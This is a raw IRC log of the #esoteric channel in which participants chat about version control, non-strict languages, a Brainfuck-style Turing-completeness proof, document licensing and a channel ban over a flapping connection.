:Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :twu < 1394539087 533719 :Slereahphone!~slereahph@193.253.170.230 QUIT :Remote host closed the connection < 1394539105 301530 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394539304 900434 :Slereahphone!~slereahph@193.253.170.230 QUIT :Remote host closed the connection < 1394539322 290225 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394539858 86597 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bah i try to do the first edit on the haskell wiki for years and it crashes on me < 1394540205 465832 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394541010 826234 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Is this why that wiki is rarely updated < 1394541605 768074 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394542319 892620 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394542402 310810 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394542710 991131 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1394543463 86767 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 265 seconds < 1394543530 345513 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :cvs is so annoying to use, it's hard to believe that it was invented first < 1394543865 787454 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafet: the wiki was edit by someone else just 2 days ago. < 1394543869 959763 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-ed < 1394543889 271249 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+- < 1394543931 847786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafet: well, consider hieroglyphs... < 1394543955 166627 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, I wouldn't care about hieroglyphs, because no one uses *those* any more. < 1394544018 971759 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm just saying that something being invented first doesn't imply it's easy to use. < 1394544052 565879 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Furthermore, cvs lacks penises < 1394544075 875724 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a grave omission, sure < 1394544098 355729 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but then, cvs is rarely used on graves, unlike hieroglyphs < 1394545117 256289 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric : if you start with rcs and *somehow* try versioning full directories on top of it, you may end up with cvs. < 1394546056 54405 :Slereahphone!~slereahph@193.253.170.230 QUIT :Remote host closed the connection < 1394546092 289031 :atslash!~atslash@46.72.83.247 QUIT :Quit: Leaving < 1394546516 514425 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394547797 286137 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394547961 951824 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394548084 653028 :shikhout!~Shikhin@unaffiliated/shikhin JOIN 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:MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394566231 700758 :solotours!~solotours@195.78.108.182 JOIN :#esoteric < 1394566400 100525 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394566439 434232 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*chirp* < 1394566508 112148 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :birdie! *drools* < 1394566636 238537 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION flies on top of the hovering meta-pun anvil < 1394566663 730794 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm sure it can also handle bird eaters as narratively appropriate < 1394566664 453669 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Is there any non-strict language that isn't garbage-collected? < 1394566680 998571 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :FreeFull: sounds tricky < 1394566737 335285 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose if you _only_ have streams... < 1394566742 886168 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :maybe oerjan is one of these ... http://freefall.purrsia.com/ff1200/fv01174.htm < 1394566755 101023 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :oerjan: But how would you implement a tree with streams? < 1394566764 764870 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(but they play Mozart.( < 1394566765 932795 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :) < 1394566767 511414 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :) < 1394566863 679072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :FreeFull: that's the tricky part. anyway i assume you could use reference counting if you didn't have cyclic definitions < 1394566910 335354 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :oerjan: How about without automated memory management? < 1394566929 850696 :solotours!~solotours@195.78.108.182 QUIT :Remote host closed the connection < 1394567014 113863 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm sure you can implement any language you want if you don't care about memory use. < 1394567421 605692 :w00tles_!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394567445 21620 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Ping timeout: 252 seconds < 1394567703 124702 :ion!ion@heh.fi PRIVMSG #esoteric :Sigh, you can’t see anything clearly with that kind of camera movement and cutting. http://youtu.be/tIIJME8-au8 The making of video wasn’t any better. http://youtu.be/c2NeW9o5G6s < 1394567938 229901 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394568050 166952 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394568296 11746 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :exciting music though < 1394568604 677110 :MoALTz_!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394568765 494108 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 252 seconds < 1394569535 235266 :MoALTz_!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 244 seconds < 1394569610 596876 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394569772 720101 :lkprom!~lkprom@62.122.73.170 JOIN :#esoteric < 1394569795 291327 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394569796 504371 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394570521 103375 :lkprom!~lkprom@62.122.73.170 QUIT :Remote host closed the connection < 1394570600 765618 :filica!~filica@92.63.107.127 JOIN :#esoteric < 1394570846 653461 :filica!~filica@92.63.107.127 QUIT :Remote host closed the connection < 1394572314 461177 :Bike_!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric > 1394572894 420592 JOIN :#esoteric > 1394572898 544781 JOIN :#esoteric > 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you. http://freenode.net/faq.shtml#nicksetup > 1394573382 309297 JOIN :#esoteric > 1394573382 824959 JOIN :#esoteric < 1394573403 666442 :EgoBot!dlopen@libdl.so JOIN :#esoteric > 1394573879 202492 JOIN :#esoteric > 1394573883 324177 JOIN :#esoteric > 1394573883 839642 JOIN :#esoteric < 1394573907 738202 :glogbot!dlopen@64.62.173.65 JOIN :#esoteric < 1394573943 459477 :Slereahphone!~slereahph@193.253.170.230 QUIT :*.net *.split < 1394573943 459694 :nooodl!~nooodl@91.177.69.110 QUIT :*.net *.split < 1394573947 864652 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be QUIT :*.net *.split < 1394573947 864794 :aergus!~aergus@88.228.117.4 QUIT :*.net *.split < 1394573947 864861 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :*.net *.split < 1394573947 864928 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :*.net *.split < 1394573947 864993 :FireFly!~firefly@oftn/member/FireFly QUIT :*.net *.split < 1394573947 865117 :EgoBot!dlopen@libdl.so QUIT :*.net *.split < 1394573947 865181 :oerjan_!oerjan@sprocket.nvg.ntnu.no QUIT :*.net *.split < 1394573947 865246 :w00tles_!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :*.net *.split < 1394573947 865308 :FreeFull!~freefull@defocus/sausage-lover QUIT :*.net *.split < 1394573947 865370 :ion!ion@heh.fi QUIT :*.net *.split < 1394573951 209933 :nortti!nortti@nano.smar.fi QUIT :*.net *.split < 1394573951 210109 :elliott!~elliott@unaffiliated/elliott QUIT :*.net *.split < 1394573951 210244 :siruf!siruf@unaffiliated/motley QUIT :*.net *.split < 1394573951 210312 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga QUIT :*.net *.split < 1394573951 210376 :myname!~myname@84.200.43.57 QUIT :*.net *.split < 1394573966 772490 :hogeyui!~hogeyuiVP@vps.usamimi.biz JOIN :#esoteric < 1394573977 793977 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394573982 878195 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1394574071 234985 :Froox!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394574071 292445 :FireFly!~firefly@firefly.xen.prgmr.com JOIN :#esoteric < 1394574071 292572 :oerjan_!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394574071 292637 :w00tles_!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394574071 292702 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394574071 292765 :ion!ion@heh.fi JOIN :#esoteric < 1394574071 292825 :nortti!nortti@nano.smar.fi JOIN :#esoteric < 1394574071 292886 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1394574071 292952 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394574071 293012 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga JOIN :#esoteric < 1394574071 293073 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1394574083 149864 :Vorpal!~Vorpal@81-224-29-207-no185.bredband.skanova.com JOIN :#esoteric < 1394574091 240169 :Vorpal!~Vorpal@81-224-29-207-no185.bredband.skanova.com QUIT :Changing host < 1394574091 296509 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1394574389 216771 :oerjan_!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eek split < 1394574396 760298 :nooodl!~nooodl@91.177.69.110 JOIN :#esoteric < 1394574434 923096 :oerjan_!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and a relatively simple TC proof (http://esolangs.org/wiki/Quiney) < 1394574435 841054 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394574441 700005 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1394574501 733207 :oerjan_!oerjan@sprocket.nvg.ntnu.no NICK :oerjan < 1394574671 313902 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394574729 659697 :mtve!~mtve@204.109.63.40 JOIN :#esoteric < 1394574752 781798 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394574755 401147 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait there's a bug < 1394575102 686967 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 265 seconds < 1394575243 15449 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394575699 199954 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 245 seconds < 1394575818 298264 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394575942 514819 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bug fixed, hopefully < 1394575967 709382 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394576052 705571 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394576179 957293 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Quit: ZNC - http://znc.sourceforge.net < 1394576335 505993 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan: why three cells, instead of just marking the used tape area? I'd think that starting with [}]}; then > -> }[-]+}, < -> {{, (all other operations are copied) and clean everything up at program end, something like }[}}]{[-]{[[-]{[-]{] should do the trick? < 1394576386 364911 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394576396 366156 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394576623 156593 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394576637 788872 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394576723 88134 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394576791 805584 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394576919 318237 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sheesh, critics < 1394577063 647650 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394577082 756784 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394577150 707536 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION notes that using -> for arrows was not his smaertest choice today < 1394577161 57398 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you don't say < 1394577176 764980 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394577187 205941 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394577229 150579 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394577244 593742 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm you're right about the first part at least, you don't need more than [}]} when you're not using spaces in the main representation < 1394577257 759731 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394577425 350991 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ok, but at least I understand what you did there, now. < 1394577451 386974 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cleaning up afterwards still seems simpler to me :) < 1394577521 157926 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394577541 744699 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i somehow didn't want to do that < 1394577558 519692 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it may be boring. < 1394577584 892583 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394577663 133635 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :speaking of which, good night < 1394577675 628251 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good night < 1394577924 234197 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 245 seconds < 1394578004 890927 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394578168 779667 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394578361 149202 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394578430 898839 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394578451 321739 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394578536 58815 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394578724 763837 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394578912 133601 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394578920 16448 :siruf!siruf@2604:180::6050:fab4 JOIN :#esoteric < 1394578920 71488 :siruf!siruf@2604:180::6050:fab4 QUIT :Changing host < 1394578920 126601 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394579285 137274 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394579369 963084 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394579747 117563 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394579842 491442 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394580274 190517 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 245 seconds < 1394580305 413413 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394580401 430623 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The license I might want on a document is one that says that attribution is not required, but if attribution is given, then a notice must also be given which specifies whether or not any changes are made from the official version; no other conditions are required. < 1394580450 941806 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't believe Creative Commons has a license like this? < 1394580461 960642 :Slereahphone!~slereahph@193.253.170.230 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394580671 135659 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394580753 423527 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394581112 118464 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 246 seconds < 1394581144 117914 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 252 seconds < 1394581173 774249 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394581614 589504 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394581622 352887 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394581676 806259 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394581693 194724 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394581972 576025 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1394581974 185093 :siruf!siruf@unaffiliated/motley QUIT :Ping timeout: 245 seconds < 1394582008 843855 :ChanServ!ChanServ@services. MODE #esoteric +o :oerjan > 1394582008 866674 NAMES :#esoteric < 1394582026 660162 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric +b :*!siruf@unaffiliated/motley > 1394582026 681915 NAMES :#esoteric < 1394582066 628007 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -o :oerjan > 1394582066 649510 NAMES :#esoteric < 1394582465 629683 :Bike_!~Glossina@gannon-wless-gw.resnet.wsu.edu NICK :Bike < 1394582803 164409 :tromp!~tromp@rtc35-245.rentec.com JOIN :#esoteric < 1394582950 739671 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394583042 32006 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm... < 1394583101 551017 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wtf isn't the ban working < 1394583235 373478 :ChanServ!ChanServ@services. MODE #esoteric +o :oerjan > 1394583235 405196 NAMES :#esoteric < 1394583253 492034 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -b :*!siruf@unaffiliated/motley > 1394583253 513297 NAMES :#esoteric < 1394583287 30686 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that *is* weird < 1394583302 802178 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :siruf: fix your connection thx < 1394583315 937993 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -o :oerjan > 1394583315 960288 NAMES :#esoteric < 1394583337 334216 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe servers are being inconsistent? < 1394583398 599794 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION blames gremlins < 1394583438 724781 :siruf!siruf@unaffiliated/motley QUIT :Read error: Connection reset by peer < 1394583445 286970 :nooodl!~nooodl@91.177.69.110 QUIT :Quit: Ik ga weg < 1394583447 773963 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394583486 304222 :ChanServ!ChanServ@services. MODE #esoteric +o :oerjan > 1394583486 326271 NAMES :#esoteric < 1394583498 806796 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric +b :*!*siruf@unaffiliated/motley > 1394583498 828805 NAMES :#esoteric < 1394583498 977542 :oerjan!oerjan@sprocket.nvg.ntnu.no KICK #esoteric siruf :I said, fix your connection < 1394583510 972229 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -o :oerjan > 1394583510 989937 NAMES :#esoteric < 1394583528 878305 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :perhaps the * is necessary somehow < 1394583566 962408 :ion!ion@heh.fi PRIVMSG #esoteric :My client hides that kind of stuff. < 1394583667 698885 :ion!ion@heh.fi PRIVMSG #esoteric :Also, you might want to append $##fix_your_connection to the ban hostmask. < 1394583742 27819 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1394583748 74736 :ChanServ!ChanServ@services. MODE #esoteric +o :oerjan > 1394583748 96116 NAMES :#esoteric < 1394583770 66653 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -b :*!*siruf@unaffiliated/motley > 1394583770 87798 NAMES :#esoteric < 1394583781 93802 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric +b :*!*siruf@unaffiliated/motley$##fix_your_connection > 1394583781 115527 NAMES :#esoteric < 1394583807 189512 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -o :oerjan > 1394583807 210875 NAMES :#esoteric < 1394583837 330654 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there a way to define a time limit for bans? < 1394583845 949960 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(and other channel modes) < 1394584108 497389 :x^2!~x^2@147.4.174.98 JOIN :#esoteric < 1394584412 163076 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394584427 268210 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394584430 143026 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 246 seconds < 1394584776 83903 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1394584864 266402 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394585027 999263 :w00tles_!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394585449 146997 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 245 seconds < 1394585602 778010 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394585749 623110 :elliott_!~elliott@unaffiliated/elliott JOIN :#esoteric < 1394585867 407607 :Froo!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394585898 539703 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga QUIT :Ping timeout: 240 seconds < 1394585900 134528 :elliott!~elliott@unaffiliated/elliott QUIT :Ping timeout: 240 seconds < 1394585901 204137 :Froox!~Frooxius@cust-101.ktknet.cz QUIT :Ping timeout: 240 seconds < 1394585901 204270 :FireFly!~firefly@firefly.xen.prgmr.com QUIT :Ping timeout: 240 seconds < 1394585902 152506 :ion!ion@heh.fi QUIT :Ping timeout: 240 seconds < 1394585954 144232 :ion!ion@heh.fi JOIN :#esoteric < 1394585956 881453 :FreeFull!~freefull@defocus/sausage-lover QUIT :Ping timeout: 240 seconds < 1394586054 93584 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394586097 131111 :nortti_!nortti@nano.smar.fi JOIN :#esoteric < 1394586124 113141 :nortti!nortti@nano.smar.fi QUIT :Ping timeout: 240 seconds < 1394586754 359848 :ggherdov_!sid11402@gateway/web/irccloud.com/x-ikcqlbbbchrlrtpx JOIN :#esoteric < 1394586755 828113 :b_jonas!~x@russell2.math.bme.hu QUIT :Ping timeout: 252 seconds < 1394586866 83545 :b_jonas!~x@russell2.math.bme.hu JOIN :#esoteric < 1394587167 461698 :FireFly!~firefly@firefly.xen.prgmr.com JOIN :#esoteric < 1394587263 345862 :FireFly!~firefly@firefly.xen.prgmr.com QUIT :Max SendQ exceeded < 1394587338 28726 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394587785 882269 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1394588139 747690 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394588341 8636 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1394588902 789738 :tertu_!~quassel@143.44.65.14 JOIN :#esoteric < 1394588997 699005 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 264 seconds < 1394589447 293240 :tertu_!~quassel@143.44.65.14 QUIT :Read error: Connection reset by peer < 1394589454 77930 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394589621 269037 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394590405 804883 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1394590992 642228 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394591187 255248 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394591224 116410 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394591374 240223 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 245 seconds < 1394591395 269293 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394591396 354128 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394591625 562504 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394591683 7538 :Slereah__!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394591701 736898 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394591864 710515 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394591985 682068 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394592156 663164 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394592332 762801 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394592760 622829 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394592767 123994 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394592849 644028 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394592893 831439 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 252 seconds < 1394593133 377165 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394593368 201308 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394594283 735055 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh hey the name of a Portal 2 OST song is in Common Lisp < 1394594302 760844 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Or another language that looks like common lisp in at least one case) < 1394594329 122388 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1394594366 829435 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(defun botsbuildbots () (botsbuildbots)) < 1394594817 14324 :impomatic!~chatzilla@37.152.198.84 QUIT :Remote host closed the connection < 1394594830 295620 :itsy!~digital_w@37.152.198.84 QUIT :Read error: Connection reset by peer < 1394595097 520987 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1394595378 79523 :coppro_!raedford@taurine.csclub.uwaterloo.ca NICK :coppro < 1394595405 45039 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394597149 838614 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what < 1394597164 155923 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh that is the name of the song? < 1394597235 670692 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :yes < 1394597300 976198 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"LISP is a programming language that has been heavily used in AI research since being developed in 1958." I assume that's why Lisp, the stereotype < 1394597304 656717 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Didn't notice until now < 1394597451 721826 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what < 1394597642 128527 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Portal 2 has characters that are AIs < 1394597663 840498 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which may be why that song's name is in Lisp, because Lisp has a reputation of being used for AI stuff < 1394597669 367633 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i see < 1394598451 563801 